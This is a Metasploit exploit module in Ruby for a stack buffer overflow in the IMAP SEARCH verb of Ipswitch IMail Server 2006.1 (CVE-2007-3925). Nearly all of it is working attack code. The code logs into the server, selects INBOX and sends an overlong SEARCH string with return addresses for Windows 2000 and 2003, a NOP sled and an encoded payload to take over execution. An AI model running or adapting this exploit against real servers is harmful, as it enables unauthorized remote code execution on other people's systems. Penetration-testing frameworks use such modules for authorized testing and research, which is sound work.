Ipswitch IMail IMAP SEARCH Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Imap

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ipswitch IMail IMAP SEARCH Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Ipswitch IMail Server 2006.1 IMAP SEARCH
        verb. By sending an overly long string, an attacker can overwrite the
        buffer and control program execution.
        In order for this module to be successful, the IMAP user must have at least one
        message.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2007-3925' ],
          [ 'OSVDB', '36219' ],
          [ 'BID', '24962' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00\x0a\x0d\x20\x0b\x09\x0c",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 Pro SP4 English',   { 'Ret' => 0x77f81be3 } ],
          [ 'Windows 2003 SP0 English',       { 'Ret' => 0x77c5cee8 } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2007-07-18'))
  end

  def exploit

    sploit =  "a002 SEARCH BEFORE " + "<" + rand_text_english(87)
    sploit << [target.ret].pack('V') + make_nops(20) + payload.encoded + ">"

    info = connect_login

    if (info == true)
      print_status("Trying target #{target.name}...")
      sock.put("a001 SELECT INBOX\r\n")
      sock.get_once(-1, 3)
      sock.put(sploit + "\r\n")
    else
      print_status("Not falling through with exploit")
    end

    handler
    disconnect

  end
end